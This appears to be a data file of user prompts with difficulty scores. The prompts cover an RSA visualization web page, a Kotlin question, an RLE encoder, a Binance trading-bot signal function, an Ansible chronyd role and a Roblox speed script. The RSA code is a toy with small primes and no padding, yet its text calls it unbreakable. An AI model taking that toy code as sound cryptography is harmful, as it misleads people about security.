16,504 | ok, now need to show an "📂 Encryption: To encrypt a message M, compute C = (M^e) % n" method through the same javascript used that will redirect the value to span element. show modified javascript, without html and css.: <html><head>
</head>
<body>
<h2>RSA Encryption Algorithm Visualization</h2>
<div>
<h4>🔒 Select two distinct prime numbers, p and q: <span id='primeNumbers'></span><span id='primeLength'></span></h4>
<p class='description'><b>→ Get special numbers that can only be divided evenly by 1 and themselves. Pick two different special numbers.</b> <i>Imagine picking two unique and extraordinary friends for a game. These friends, represented by the prime numbers p and q, possess exceptional qualities just like star players in a game. Similar to how these friends stand out from the crowd, prime numbers can only be divided evenly by 1 and themselves. The distinctness of p and q ensures a solid foundation for the RSA encryption algorithm, creating a perfect duo for an extraordinary adventure.</i></p>
</div>
<div>
<h4>✖️ Calculate n by multiplying p and q: n = p * q <span id='nCalculation'></span></h4>
<p class='description'><b>→ Combine the two special numbers into a larger number.</b> <i>Combining the powers of two extraordinary forces, represented by the prime numbers p and q, is like multiplying the strengths of two special players. Just as their strengths multiply when they join forces, the numbers p and q multiply to form a new and powerful number, n. This multiplication creates a robust and unbreakable lock mechanism that protects your valuable secrets, serving as the cornerstone of the RSA encryption algorithm.</i></p>
</div>
<div>
<h4>⚖️ Calculate Euler's totient function of n: φ(n) = (p-1) * (q-1) <span id='totientFunction'></span></h4>
<p class='description'><b>→ Do a magic trick that counts how many numbers play nicely with the larger number.</b> <i>Euler's totient function, represented by φ(n), is like a mysterious magic trick that counts how many numbers form a harmonious relationship with the larger number, n. Just as the special numbers had no common factors with the larger number in the previous step, these numbers also have no common factors. The totient function, like a magician's wand, reveals this hidden count, holding the key to unlocking the secrets of encryption and decryption in the RSA algorithm.</i></p>
</div>
<div>
<h4>🔑 Select a public exponent e, relatively prime to φ(n) <span id='publicExponent'></span></h4>
<p class='description'><b>→ Choose a magic number that doesn't have any common factors with the result of the magic trick.</b> <i>Choosing a public exponent, denoted as e, is like finding a special key that unlocks the encryption process. This key, represented by the letter 'e', must be uniquely different from the result obtained in the previous step. Just like a key code completely different from a magic trick result, the public exponent ensures secure encryption by having no common factors with Euler's totient function of n (φ(n)).</i></p>
</div>
<div>
<h4>🔢 Calculate the private exponent d, satisfying (d * e) % φ(n) = 1 <span id='privateExponent'></span></h4>
<p class='description'><b>→ Through some mathematical magic, find a secret number that, when multiplied by the magic number and divided by the result of the magic trick, results in an answer of 1.</b> <i>Calculating the private exponent, represented by d, is like solving a math puzzle to discover the secret number that, when multiplied by the public exponent 'e' and divided by Euler's totient function of n (φ(n)), equals 1. This special number, known only to the owner, unlocks and decrypts messages encrypted using the public key. The relationship between d, e, and φ(n) guarantees the ability to reverse the encryption process and reveal the original message.</i></p>
</div>
<div>
<h4>🌐 Public Key: (e, n)<span id='publicKey'></span></h4>
<p class='description'><b>→ The public key is like a toy that everyone can play with. It has two numbers: the magic number and the larger number.</b> <i>The public key, represented as (e, n), is like a toy that can be freely shared among friends. It consists of two numbers: the public exponent, e, and the larger number, n. Just as a toy brings joy to multiple people, the public key enables secure communication between sender and recipient. The magic number, e, serves as the key to unlocking the encryption process, and the larger number, n, forms the foundation of the encryption algorithm.</i></p>
</div>
<div>
<h4>📂 Encryption: To encrypt a message M, compute C = (M^e) % n</h4>
<p class='description'><b>→ Imagine you have a secret message. Put that message inside a special box, raise it to the power of the magic number, and take the remainder when divided by the larger number. The result is the encrypted message.</b> <i>Encryption is like sealing a secret message inside a special box. To encrypt a message M, we raise it to the power of the public exponent, e, and then take the remainder when divided by the larger number, n. This transformation turns the message into an unreadable form, represented by the ciphertext, C. It's like protecting the secret message with an unbreakable seal, ensuring that only the intended recipient with the private key can unlock and read it.</i></p>
</div>
<div>
<h4>🔓 Decryption: To decrypt the ciphertext C, compute M = (C^d) % n</h4>
<p class='description'><b>→ If you have the encrypted message and the secret numbers, take the encrypted message, raise it to the power of the secret number, and take the remainder when divided by the larger number. The result will be the original secret message.</b> <i>Decryption is like using a special key to unlock a sealed box and reveal the original secret message. To decrypt the ciphertext C, we raise it to the power of the private exponent, d, and then take the remainder when divided by the larger number, n. This reverse transformation, using the private key associated with the public key used for encryption, turns the ciphertext back into the original message, represented by M. It's like unlocking the sealed box and retrieving the hidden treasure inside. Only the intended recipient with the private key can decrypt and read the message.</i></p>
</div>
</body>
<script>
// Function to generate a random prime number
function getRandomPrimeNumber() {
var randomNumber = Math.floor(Math.random() * 10000) + 100;
while (!isPrime(randomNumber)) {
randomNumber = Math.floor(Math.random() * 10000) + 100;
}
return randomNumber;
}
// Function to check if a number is prime
function isPrime(number) {
if (number < 2) return false;
for (var i = 2; i <= Math.sqrt(number); i++) {
if (number % i === 0) {
return false;
}
}
return true;
}
// Function to generate random prime numbers
function generatePrimeNumbers() {
var p = getRandomPrimeNumber();
var q = getRandomPrimeNumber();
var primeNumbers = document.getElementById('primeNumbers');
var primeLength = document.getElementById('primeLength');
primeNumbers.textContent = 'p = ' + p + ', q = ' + q;
var pBits = Math.floor(Math.log2(p));
var qBits = Math.floor(Math.log2(q));
var maxBits = Math.max(pBits, qBits);
primeLength.textContent = ' Prime Length: ' + maxBits + ' bits';
var nCalculation = document.getElementById('nCalculation');
var n = p * q;
nCalculation.textContent = ' n = ' + n;
var totientFunction = document.getElementById('totientFunction');
var phi = (p - 1) * (q - 1);
totientFunction.textContent = ' φ(n) = ' + phi;
var publicExponent = document.getElementById('publicExponent');
var e = 2;
while (e < phi) {
if (getGreatestCommonDivisor(e, phi) === 1) {
break;
}
e++;
}
publicExponent.textContent = ' e = ' + e;
var privateExponent = document.getElementById('privateExponent');
var d = getMultiplicativeInverse(e, phi);
privateExponent.textContent = ' d = ' + d;
var publicKey = document.getElementById('publicKey');
var publicKeyValue = '(e, n) = (' + e + ', ' + n + ')';
publicKey.textContent = publicKeyValue;
}
// Function to calculate the greatest common divisor
function getGreatestCommonDivisor(a, b) {
if (b === 0) {
return a;
}
return getGreatestCommonDivisor(b, a % b);
}
// Function to calculate the multiplicative inverse
function getMultiplicativeInverse(a, m) {
var result = extendedEuclideanAlgorithm(a, m);
var x = result[0];
var y = result[1];
var gcd = result[2];
if (x > 0) {
return x;
}
return x + m;
}
// Function to perform extended Euclidean algorithm
function extendedEuclideanAlgorithm(a, b) {
var x = 0, y = 1, u = 1, v = 0;
while (a !== 0) {
var q = Math.floor(b / a);
var r = b % a;
var m = x - u * q;
var n = y - v * q;
b = a;
a = r;
x = u;
y = v;
u = m;
v = n;
}
return [x, y, b];
}
// Generate prime numbers on page load
window.onload = function () {
generatePrimeNumbers();
setInterval(generatePrimeNumbers, 5000);
};
</script>
</html> | f6501f349749b71b2480e3eef459b5d5 | {
"intermediate": 0.435533344745636,
"beginner": 0.26205113530158997,
"expert": 0.30241549015045166
} |
16,505 | Kotlin shapable Image view расскажи об этоом подробно | 89e26b9b241cc732a70cd997d3799707 | {
"intermediate": 0.27272331714630127,
"beginner": 0.2147146314382553,
"expert": 0.512562096118927
} |
16,506 | give the function to RLE encode a mask rleEncode given that "def rleDecode(mask_rle: str, shape: tuple) -> np.ndarray:
"""Decode a RLE mask into a numpy array
Args:
mask_rle (string): The mask encoded in a string (RLE).
shape (tuple): Height and width.
Returns:
(Numpy Array): 1 - mask, 0 - background
"""
s = np.fromstring(mask_rle, sep=' ', dtype='int')
s[::2] -= 1
ends = s[::2] + s[1::2]
img = np.zeros((shape[0]*shape[1]), dtype=np.uint8)
for i in range(len(ends)):
img[s[2*i]:ends[i]] = 1
return img.reshape((shape[1], shape[0])).T" | 36c323e29b662641f968fca10fab8b6d | {
"intermediate": 0.4609884023666382,
"beginner": 0.29005804657936096,
"expert": 0.24895350635051727
} |
16,507 | I used your signal_generator code: def signal_generator(df):
if df is None:
return ''
ema_analysis = []
candle_analysis = []
bollinger_signal = []
df['EMA7'] = df['Close'].ewm(span=7, adjust=False).mean()
df['EMA23'] = df['Close'].ewm(span=23, adjust=False).mean()
if (
df['EMA7'].iloc[-1] > df['EMA23'].iloc[-1] and
df['EMA7'].iloc[-2] < df['EMA23'].iloc[-2]
):
ema_analysis.append('golden_cross')
elif (
df['EMA7'].iloc[-1] < df['EMA23'].iloc[-1] and
df['EMA7'].iloc[-2] > df['EMA23'].iloc[-2]
):
ema_analysis.append('death_cross')
# Candlestick analysis
df['Body'] = df['Close'] - df['Open']
df['Range'] = df['High'] - df['Low']
df['UpperShadow'] = df['High'] - df[['Close', 'Open']].max(axis=1)
df['LowerShadow'] = df[['Close', 'Open']].min(axis=1) - df['Low']
df['BullishEngulfing'] = (df['Body'] > 0) & (df['Body'].shift() < 0) & (df['Open'] < df['Close'].shift())
df['BearishEngulfing'] = (df['Body'] < 0) & (df['Body'].shift() > 0) & (df['Open'] > df['Close'].shift())
df['Hammer'] = (df['UpperShadow'] >= 2 * df['Body']) & (df['LowerShadow'] <= 0.1 * df['Body'])
df['HangingMan'] = (df['UpperShadow'] >= 2 * df['Body']) & (df['LowerShadow'] >= 2 * df['Body'])
for i in range(len(df)):
if df['BullishEngulfing'].iloc[i]:
candle_analysis.append('bullish_engulfing')
elif df['BearishEngulfing'].iloc[i]:
candle_analysis.append('bearish_engulfing')
elif df['Hammer'].iloc[i]:
candle_analysis.append('hammer')
elif df['HangingMan'].iloc[i]:
candle_analysis.append('hanging_man')
else:
candle_analysis.append('')
if ('golden_cross' in ema_analysis and 'bullish_engulfing' in candle_analysis):
return 'buy'
elif ('death_cross' in ema_analysis and 'bearish_engulfing' in candle_analysis):
return 'sell'
else:
return ''
end_time = int(time.time() * 1000)
start_time = end_time - lookback * 60 * 1000
TradeType = "BUY" or "SELL"
secret_key = API_KEY_BINANCE # Replace with your actual secret key obtained from MXC Exchange
access_key = API_SECRET_BINANCE # Replace with your actual access key obtained from MXC Exchange
import binance
while True:
# Get data and generate signals
df = get_klines(symbol, interval, lookback)
if df is not None:
signals = signal_generator(df)
print(f"The signal time is: {dt.datetime.now().strftime('%Y-%m-%d %H:%M:%S')} - Signals: {signals}")
# Check if signals is 'buy' or 'sell'
if signals == 'buy':
try:
client.new_order(symbol=symbol, side='BUY', type='MARKET', quantity=0.1)
print("Long order executed!")
except binance.error.ClientError as e:
print(f"Error executing long order: {e}")
time.sleep(1)
if signals == 'sell':
try:
client.new_order(symbol=symbol, side='SELL', type='MARKET', quantity=0.1)
print("Short order executed!")
except binance.error.ClientError as e:
print(f"Error executing short order: {e}")
time.sleep(1)
# Wait for a specific interval before placing the next order
time.sleep(1) # Adjust the sleep duration as per your requirements
But it deosn't give me any signal please can you change my EMA strategy to your best strategy not EMA7 and EMA23 add another strategy for crypto scalping | 4a144727ec080c9cc74d9d426e9e3eda | {
"intermediate": 0.3326042592525482,
"beginner": 0.31952235102653503,
"expert": 0.34787335991859436
} |
16,508 | I used this code: def signal_generator(df):
if df is None:
return ''
candle_analysis = []
ema_analysis = []
# EMA strategy
df['EMA50'] = df['Close'].ewm(span=50, adjust=False).mean()
if (
df['Close'].iloc[-1] > df['EMA50'].iloc[-1] and
df['Close'].iloc[-2] < df['EMA50'].iloc[-2]
):
ema_analysis.append('golden_cross')
elif (
df['Close'].iloc[-1] < df['EMA50'].iloc[-1] and
df['Close'].iloc[-2] > df['EMA50'].iloc[-2]
):
ema_analysis.append('death_cross')
# Candlestick analysis
df['Body'] = df['Close'] - df['Open']
df['Range'] = df['High'] - df['Low']
df['UpperShadow'] = df['High'] - df[['Close', 'Open']].max(axis=1)
df['LowerShadow'] = df[['Close', 'Open']].min(axis=1) - df['Low']
df['BullishEngulfing'] = (df['Body'] > 0) & (df['Body'].shift() < 0) & (df['Open'] < df['Close'].shift())
df['BearishEngulfing'] = (df['Body'] < 0) & (df['Body'].shift() > 0) & (df['Open'] > df['Close'].shift())
df['Hammer'] = (df['UpperShadow'] >= 2 * df['Body']) & (df['LowerShadow'] <= 0.1 * df['Body'])
df['HangingMan'] = (df['UpperShadow'] >= 2 * df['Body']) & (df['LowerShadow'] >= 2 * df['Body'])
for i in range(len(df)):
if df['BullishEngulfing'].iloc[i]:
candle_analysis.append('bullish_engulfing')
elif df['BearishEngulfing'].iloc[i]:
candle_analysis.append('bearish_engulfing')
elif df['Hammer'].iloc[i]:
candle_analysis.append('hammer')
elif df['HangingMan'].iloc[i]:
candle_analysis.append('hanging_man')
else:
candle_analysis.append('')
if ('golden_cross' in ema_analysis and 'bullish_engulfing' in candle_analysis):
return 'buy'
elif ('death_cross' in ema_analysis and 'bearish_engulfing' in candle_analysis):
return 'sell'
else:
return ''
Can you remove EMA50 and give me crypto scalping strategy with EMA 5 and EMA9 please | 92bc0d684746e7ed8ddd4e941a7f9fdb | {
"intermediate": 0.2708713412284851,
"beginner": 0.38825345039367676,
"expert": 0.3408752679824829
} |
16,509 | why it shows "NAN" in "🔓 Decryption: To decrypt the ciphertext C, compute M = (C^d) % n Decrypted message: NaN". can you fix that and output overally fixed only javascript code.: <html><head>
</head>
<body>
<h2>RSA Encryption Algorithm Visualization</h2>
<div>
<h4>🔒 Select two distinct prime numbers, p and q: <span id='primeNumbers'></span><span id='primeLength'></span></h4>
<p class='description'><b>→ Get special numbers that can only be divided evenly by 1 and themselves. Pick two different special numbers.</b> <i>Imagine picking two unique and extraordinary friends for a game. These friends, represented by the prime numbers p and q, possess exceptional qualities just like star players in a game. Similar to how these friends stand out from the crowd, prime numbers can only be divided evenly by 1 and themselves. The distinctness of p and q ensures a solid foundation for the RSA encryption algorithm, creating a perfect duo for an extraordinary adventure.</i></p>
</div>
<div>
<h4>✖️ Calculate n by multiplying p and q: n = p * q <span id='nCalculation'></span></h4>
<p class='description'><b>→ Combine the two special numbers into a larger number.</b> <i>Combining the powers of two extraordinary forces, represented by the prime numbers p and q, is like multiplying the strengths of two special players. Just as their strengths multiply when they join forces, the numbers p and q multiply to form a new and powerful number, n. This multiplication creates a robust and unbreakable lock mechanism that protects your valuable secrets, serving as the cornerstone of the RSA encryption algorithm.</i></p>
</div>
<div>
<h4>⚖️ Calculate Euler's totient function of n: φ(n) = (p-1) * (q-1) <span id='totientFunction'></span></h4>
<p class='description'><b>→ Do a magic trick that counts how many numbers play nicely with the larger number.</b> <i>Euler's totient function, represented by φ(n), is like a mysterious magic trick that counts how many numbers form a harmonious relationship with the larger number, n. Just as the special numbers had no common factors with the larger number in the previous step, these numbers also have no common factors. The totient function, like a magician's wand, reveals this hidden count, holding the key to unlocking the secrets of encryption and decryption in the RSA algorithm.</i></p>
</div>
<div>
<h4>🔑 Select a public exponent e, relatively prime to φ(n) <span id='publicExponent'></span></h4>
<p class='description'><b>→ Choose a magic number that doesn't have any common factors with the result of the magic trick.</b> <i>Choosing a public exponent, denoted as e, is like finding a special key that unlocks the encryption process. This key, represented by the letter 'e', must be uniquely different from the result obtained in the previous step. Just like a key code completely different from a magic trick result, the public exponent ensures secure encryption by having no common factors with Euler's totient function of n (φ(n)).</i></p>
</div>
<div>
<h4>🔢 Calculate the private exponent d, satisfying (d * e) % φ(n) = 1 <span id='privateExponent'></span></h4>
<p class='description'><b>→ Through some mathematical magic, find a secret number that, when multiplied by the magic number and divided by the result of the magic trick, results in an answer of 1.</b> <i>Calculating the private exponent, represented by d, is like solving a math puzzle to discover the secret number that, when multiplied by the public exponent 'e' and divided by Euler's totient function of n (φ(n)), equals 1. This special number, known only to the owner, unlocks and decrypts messages encrypted using the public key. The relationship between d, e, and φ(n) guarantees the ability to reverse the encryption process and reveal the original message.</i></p>
</div>
<div>
<h4>🌐 Public Key: (e, n)<span id='publicKey'></span></h4>
<p class='description'><b>→ The public key is like a toy that everyone can play with. It has two numbers: the magic number and the larger number.</b> <i>The public key, represented as (e, n), is like a toy that can be freely shared among friends. It consists of two numbers: the public exponent, e, and the larger number, n. Just as a toy brings joy to multiple people, the public key enables secure communication between sender and recipient. The magic number, e, serves as the key to unlocking the encryption process, and the larger number, n, forms the foundation of the encryption algorithm.</i></p>
</div>
<div>
<h4>📂 Encryption: To encrypt a message M, compute C = (M^e) % n <span id='encryptionResult'></span></h4>
<p class='description'><b>→ Imagine you have a secret message. Put that message inside a special box, raise it to the power of the magic number, and take the remainder when divided by the larger number. The result is the encrypted message.</b> <i>Encryption is like sealing a secret message inside a special box. To encrypt a message M, we raise it to the power of the public exponent, e, and then take the remainder when divided by the larger number, n. This transformation turns the message into an unreadable form, represented by the ciphertext, C. It's like protecting the secret message with an unbreakable seal, ensuring that only the intended recipient with the private key can unlock and read it.</i></p>
</div>
<div>
<h4>🔓 Decryption: To decrypt the ciphertext C, compute M = (C^d) % n <span id='decryptionResult'></span></h4>
<p class='description'><b>→ If you have the encrypted message and the secret numbers, take the encrypted message, raise it to the power of the secret number, and take the remainder when divided by the larger number. The result will be the original secret message.</b> <i>Decryption is like using a special key to unlock a sealed box and reveal the original secret message. To decrypt the ciphertext C, we raise it to the power of the private exponent, d, and then take the remainder when divided by the larger number, n. This reverse transformation, using the private key associated with the public key used for encryption, turns the ciphertext back into the original message, represented by M. It's like unlocking the sealed box and retrieving the hidden treasure inside. Only the intended recipient with the private key can decrypt and read the message.</i></p>
</div>
</body>
<script>
// Function to generate a random prime number
function getRandomPrimeNumber() {
var randomNumber = Math.floor(Math.random() * 10000) + 100;
while (!isPrime(randomNumber)) {
randomNumber = Math.floor(Math.random() * 10000) + 100;
}
return randomNumber;
}
// Function to check if a number is prime
function isPrime(number) {
if (number < 2) return false;
for (var i = 2; i <= Math.sqrt(number); i++) {
if (number % i === 0) {
return false;
}
}
return true;
}
// Function to encrypt a message
function encryptMessage(message, e, n) {
var encryptedMessage = (Math.pow(message, e) % n);
return encryptedMessage;
}
// Function to generate random prime numbers
function generatePrimeNumbers() {
var p = getRandomPrimeNumber();
var q = getRandomPrimeNumber();
var primeNumbers = document.getElementById('primeNumbers');
var primeLength = document.getElementById('primeLength');
primeNumbers.textContent = 'p = ' + p + ', q = ' + q;
var pBits = Math.floor(Math.log2(p));
var qBits = Math.floor(Math.log2(q));
var maxBits = Math.max(pBits, qBits);
primeLength.textContent = ' Prime Length: ' + maxBits + ' bits';
var nCalculation = document.getElementById('nCalculation');
var n = p * q;
nCalculation.textContent = ' n = ' + n;
var totientFunction = document.getElementById('totientFunction');
var phi = (p - 1) * (q - 1);
totientFunction.textContent = ' φ(n) = ' + phi;
var publicExponent = document.getElementById('publicExponent');
var e = 2;
while (e < phi) {
if (getGreatestCommonDivisor(e, phi) === 1) {
break;
}
e++;
}
publicExponent.textContent = ' e = ' + e;
var privateExponent = document.getElementById('privateExponent');
var d = getMultiplicativeInverse(e, phi);
privateExponent.textContent = ' d = ' + d;
var publicKey = document.getElementById('publicKey');
var publicKeyValue = '(e, n) = (' + e + ', ' + n + ')';
publicKey.textContent = publicKeyValue;
// Get the message to encrypt
var message = Math.floor(Math.random() * 100);
// Perform message encryption
var encryptedMessage = encryptMessage(message, e, n);
// Redirect the encrypted message to a span element
var encryptionResult = document.getElementById('encryptionResult');
encryptionResult.textContent = 'Ciphertext: ' + encryptedMessage;
// Perform message decryption
var decryptedMessage = encryptMessage(encryptedMessage, d, n);
// Redirect the decrypted message to a span element
var decryptionResult = document.getElementById('decryptionResult');
decryptionResult.textContent = 'Decrypted message: ' + decryptedMessage;
}
// Function to calculate the greatest common divisor
function getGreatestCommonDivisor(a, b) {
if (b === 0) {
return a;
}
return getGreatestCommonDivisor(b, a % b);
}
// Function to calculate the multiplicative inverse
function getMultiplicativeInverse(a, m) {
var result = extendedEuclideanAlgorithm(a, m);
var x = result[0];
var y = result[1];
var gcd = result[2];
if (x > 0) {
return x;
}
return x + m;
}
// Function to perform extended Euclidean algorithm
function extendedEuclideanAlgorithm(a, b) {
var x = 0,
y = 1,
u = 1,
v = 0;
while (a !== 0) {
var q = Math.floor(b / a);
var r = b % a;
var m = x - u * q;
var n = y - v * q;
b = a;
a = r;
x = u;
y = v;
u = m;
v = n;
}
return [x, y, b];
}
// Generate prime numbers and perform encryption on page load
window.onload = function() {
generatePrimeNumbers();
setInterval(generatePrimeNumbers, 5000);
};
</script>
</html> | 48561d43d7eb5bbf8389cd1e08081596 | {
"intermediate": 0.47789236903190613,
"beginner": 0.28282278776168823,
"expert": 0.23928485810756683
} |
16,510 | ansible role for chornyd | 4855089786a9a25f093fbd62f30eae57 | {
"intermediate": 0.2324729859828949,
"beginner": 0.231454998254776,
"expert": 0.5360719561576843
} |
16,511 | need to add a more comprehensible model to overall understanding of how things working. I don’t know what else to add here… so, basically, adding some ASCII switcher radiobutton to it? also, highlighting some key elements in text with ballooned popups descriptions is a good idea. now need to define key-elements in actual descriptions to target or trigger that onhover balloon with a further description, when you mousehower on highlighted words. To define key-elements in the descriptions that trigger the balloon with further descriptions on hover, you can follow these steps:
1. Identify the key elements in the descriptions that require further explanation or definitions. These could be terms or concepts specific to the RSA Encryption Algorithm, such as “public exponent,” “private exponent,” or “modular exponentiation.”
2. Wrap these key elements in HTML with appropriate markup, such as <span> tags or <a> tags, to make them easily identifiable.
3. Add event listeners, such as mouseover and mouseout, to these identified elements using JavaScript. These event listeners will trigger functions to display and hide the balloon with further descriptions.
4. Implement the functions that display and hide the balloon. You can achieve this by dynamically creating and modifying HTML elements, such as <div> or <span>, that will serve as the balloon. These functions can be triggered by the event listeners and should include the logic to position the balloon element and fill it with the appropriate description.
5. Style the balloon element using CSS to make it visually appealing and easy to read. You can consider using CSS properties like position, padding, border-radius, background-color, and font-size.
: <html><head>
<style>
html{
background-color: #fff;
}
h2, h4, textarea {
font-size: 18px;
font-style: normal;
margin-top: 0px;
margin-bottom: 0px;
font-weight: bold;
text-transform: initial;
letter-spacing: 0px;
line-height: 1.5;
text-decoration: none;
white-space: pre-wrap;
word-wrap: break-word;
font-family: 'monospace', sans-serif;
text-overflow: ellipsis;
margin:0 auto;
hyphens: auto;
}
h2 {
margin: 10px auto;
color: #FF6384;
text-align: center;
font-size: 24px;
}
h4, textarea {
color: #123456;
text-align: left;
font-size: 18px;
}
textarea{
}
.description {
font-size: 18px;
color: #4c4d33;
text-align: left;
margin-top: 5px;
margin-bottom: 0px;
}
div {
border: 10px solid #a1b5c9;
border-radius: 10px;
padding: 10px;
margin-bottom: 10px;
}
</style>
</head>
<body>
<h2>RSA Encryption Algorithm Visualization</h2>
<div>
<h4>🔒 Select two distinct prime numbers, p and q: <span id='primeNumbers'></span><span id='primeLength'></span></h4>
<p class='description'><b>→ Get special numbers that can only be divided evenly by 1 and themselves. Pick two different special numbers.</b> <i>Imagine picking two unique and extraordinary friends for a game. These friends, represented by the prime numbers p and q, possess exceptional qualities just like star players in a game. Similar to how these friends stand out from the crowd, prime numbers can only be divided evenly by 1 and themselves. The distinctness of p and q ensures a solid foundation for the RSA encryption algorithm, creating a perfect duo for an extraordinary adventure.</i></p>
</div>
<div>
<h4>✖️ Calculate n by multiplying p and q: n = p * q <span id='nCalculation'></span></h4>
<p class='description'><b>→ Combine the two special numbers into a larger number.</b> <i>Combining the powers of two extraordinary forces, represented by the prime numbers p and q, is like multiplying the strengths of two special players. Just as their strengths multiply when they join forces, the numbers p and q multiply to form a new and powerful number, n. This multiplication creates a robust and unbreakable lock mechanism that protects your valuable secrets, serving as the cornerstone of the RSA encryption algorithm.</i></p>
</div>
<div>
<h4>⚖️ Calculate Euler's totient function of n: φ(n) = (p-1) * (q-1) <span id='totientFunction'></span></h4>
<p class='description'><b>→ Do a magic trick that counts how many numbers play nicely with the larger number.</b> <i>Euler's totient function, represented by φ(n), is like a mysterious magic trick that counts how many numbers form a harmonious relationship with the larger number, n. Just as the special numbers had no common factors with the larger number in the previous step, these numbers also have no common factors. The totient function, like a magician's wand, reveals this hidden count, holding the key to unlocking the secrets of encryption and decryption in the RSA algorithm.</i></p>
</div>
<div>
<h4>🔑 Select a public exponent e, relatively prime to φ(n) <span id='publicExponent'></span></h4>
<p class='description'><b>→ Choose a magic number that doesn't have any common factors with the result of the magic trick.</b> <i>Choosing a public exponent, denoted as e, is like finding a special key that unlocks the encryption process. This key, represented by the letter 'e', must be uniquely different from the result obtained in the previous step. Just like a key code completely different from a magic trick result, the public exponent ensures secure encryption by having no common factors with Euler's totient function of n (φ(n)).</i></p>
</div>
<div>
<h4>🔢 Calculate the private exponent d, satisfying (d * e) % φ(n) = 1 <span id='privateExponent'></span></h4>
<p class='description'><b>→ Through some mathematical magic, find a secret number that, when multiplied by the magic number and divided by the result of the magic trick, results in an answer of 1.</b> <i>Calculating the private exponent, represented by d, is like solving a math puzzle to discover the secret number that, when multiplied by the public exponent 'e' and divided by Euler's totient function of n (φ(n)), equals 1. This special number, known only to the owner, unlocks and decrypts messages encrypted using the public key. The relationship between d, e, and φ(n) guarantees the ability to reverse the encryption process and reveal the original message.</i></p>
</div>
<div>
<h4>🌐 Public Key: (e, n)<span id='publicKey'></span></h4>
<p class='description'><b>→ The public key is like a toy that everyone can play with. It has two numbers: the magic number and the larger number.</b> <i>The public key, represented as (e, n), is like a toy that can be freely shared among friends. It consists of two numbers: the public exponent, e, and the larger number, n. Just as a toy brings joy to multiple people, the public key enables secure communication between sender and recipient. The magic number, e, serves as the key to unlocking the encryption process, and the larger number, n, forms the foundation of the encryption algorithm.</i></p>
</div>
<div>
<h4>📂 Encryption: To encrypt a message M, compute C = (M^e) % n <span id='encryptionResult'></span></h4>
<p class='description'><b>→ Imagine you have a secret message. Put that message inside a special box, raise it to the power of the magic number, and take the remainder when divided by the larger number. The result is the encrypted message.</b> <i>Encryption is like sealing a secret message inside a special box. To encrypt a message M, we raise it to the power of the public exponent, e, and then take the remainder when divided by the larger number, n. This transformation turns the message into an unreadable form, represented by the ciphertext, C. It's like protecting the secret message with an unbreakable seal, ensuring that only the intended recipient with the private key can unlock and read it.</i></p>
</div>
<div>
<h4>🔓 Decryption: To decrypt the ciphertext C, compute M = (C^d) % n <span id='decryptionResult'></span></h4>
<p class='description'><b>→ If you have the encrypted message and the secret numbers, take the encrypted message, raise it to the power of the secret number, and take the remainder when divided by the larger number. The result will be the original secret message.</b> <i>Decryption is like using a special key to unlock a sealed box and reveal the original secret message. To decrypt the ciphertext C, we raise it to the power of the private exponent, d, and then take the remainder when divided by the larger number, n. This reverse transformation, using the private key associated with the public key used for encryption, turns the ciphertext back into the original message, represented by M. It's like unlocking the sealed box and retrieving the hidden treasure inside. Only the intended recipient with the private key can decrypt and read the message.</i></p>
</div>
</body>
<script>
// Function to generate a random prime number
function getRandomPrimeNumber() {
var randomNumber = Math.floor(Math.random() * 10) + 2;
while (!isPrime(randomNumber)) {
randomNumber = Math.floor(Math.random() * 100000) + 10000;
}
return randomNumber;
}
// Function to check if a number is prime
function isPrime(number) {
if (number < 2) return false;
for (var i = 2; i <= Math.sqrt(number); i++) {
if (number % i === 0) {
return false;
}
}
return true;
}
// Function to perform modular exponentiation
function modularExponentiation(base, exponent, modulus) {
let result = 1n;
while (exponent > 0n) {
if (exponent % 2n === 1n) {
result = (result * base) % modulus;
}
base = (base * base) % modulus;
exponent = exponent / 2n;
}
return result.toString();
}
// Function to encrypt a message
function encryptMessage(message, e, n) {
return modularExponentiation(BigInt(message), BigInt(e), BigInt(n));
}
// Function to generate random prime numbers
function generatePrimeNumbers() {
var p = getRandomPrimeNumber();
var q = getRandomPrimeNumber();
var primeNumbers = document.getElementById('primeNumbers');
var primeLength = document.getElementById('primeLength');
primeNumbers.textContent = 'p = ' + p + ', q = ' + q;
var pBits = Math.floor(Math.log2(p));
var qBits = Math.floor(Math.log2(q));
var maxBits = Math.max(pBits, qBits);
primeLength.textContent = ' Prime Length: ' + maxBits + ' bits';
var nCalculation = document.getElementById('nCalculation');
var n = p * q;
nCalculation.textContent = ' n = ' + n;
var totientFunction = document.getElementById('totientFunction');
var phi = (p - 1) * (q - 1);
totientFunction.textContent = ' φ(n) = ' + phi;
var publicExponent = document.getElementById('publicExponent');
var e = 2;
while (e < phi) {
if (getGreatestCommonDivisor(e, phi) === 1) {
break;
}
e++;
}
publicExponent.textContent = ' e = ' + e;
var privateExponent = document.getElementById('privateExponent');
var d = getMultiplicativeInverse(e, phi);
privateExponent.textContent = ' d = ' + d;
var publicKey = document.getElementById('publicKey');
var publicKeyValue = ' = (' + e + ', ' + n + ')';
publicKey.textContent = publicKeyValue;
// Get the message to encrypt
var message = Math.floor(Math.random() * 100);
// Perform message encryption
var encryptedMessage = encryptMessage(message, e, n);
// Redirect the encrypted message to a span element
var encryptionResult = document.getElementById('encryptionResult');
encryptionResult.textContent = 'Ciphertext: ' + encryptedMessage;
// Perform message decryption
var decryptedMessage = encryptMessage(encryptedMessage, d, n);
// Redirect the decrypted message to a span element
var decryptionResult = document.getElementById('decryptionResult');
decryptionResult.textContent = 'Decrypted message: ' + decryptedMessage;
}
// Function to calculate the greatest common divisor
function getGreatestCommonDivisor(a, b) {
if (b === 0) {
return a;
}
return getGreatestCommonDivisor(b, a % b);
}
// Function to calculate the multiplicative inverse
function getMultiplicativeInverse(a, m) {
var result = extendedEuclideanAlgorithm(a, m);
var x = result[0];
var y = result[1];
var gcd = result[2];
if (x > 0) {
return x;
}
return x + m;
}
// Function to perform extended Euclidean algorithm
function extendedEuclideanAlgorithm(a, b) {
var x = 0,
y = 1,
u = 1,
v = 0;
while (a !== 0) {
var q = Math.floor(b / a);
var r = b % a;
var m = x - u * q;
var n = y - v * q;
b = a;
a = r;
x = u;
y = v;
u = m;
v = n;
}
return [x, y, b];
}
// Generate prime numbers and perform encryption on page load
window.onload = function() {
generatePrimeNumbers();
setInterval(generatePrimeNumbers, 5000);
};
</script>
</html> | 8dd1115e8358c54e57f930290da25908 | {
"intermediate": 0.3568941354751587,
"beginner": 0.36361682415008545,
"expert": 0.27948907017707825
} |
16,512 | roblox script gui speed and jump | 021951806915c8af2e38c625382f5083 | {
"intermediate": 0.3651488423347473,
"beginner": 0.35854604840278625,
"expert": 0.27630510926246643
} |
